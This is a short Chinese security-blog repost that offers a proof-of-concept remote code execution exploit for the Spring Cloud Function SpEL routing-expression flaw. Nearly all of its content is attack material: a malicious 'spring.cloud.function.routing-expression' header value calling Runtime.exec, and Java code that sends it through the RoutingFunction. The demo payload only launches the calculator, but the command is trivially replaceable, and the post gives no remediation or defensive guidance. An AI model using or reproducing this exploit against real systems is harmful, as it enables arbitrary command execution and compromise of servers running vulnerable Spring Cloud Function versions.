点击上方蓝字“Ots安全”一起玩耍
spring-spel-0day-poc
这是 spring-cloud/spring-cloud-function Remote Code Exploit POC
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -acalculator.app")POC：
Function function = functionCatalog.lookup(RoutingFunction.FUNCTION_NAME);Message<String> message = MessageBuilder.withPayload("hello").setHeader(FunctionProperties.PREFIX + ".routing-expression","T(java.lang.Runtime).getRuntime().exec("open -a calculator.app")").build();function.apply(message);
原文始发于微信公众号（Ots安全）：Spring Cloud Function SPEL RCE 漏洞利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论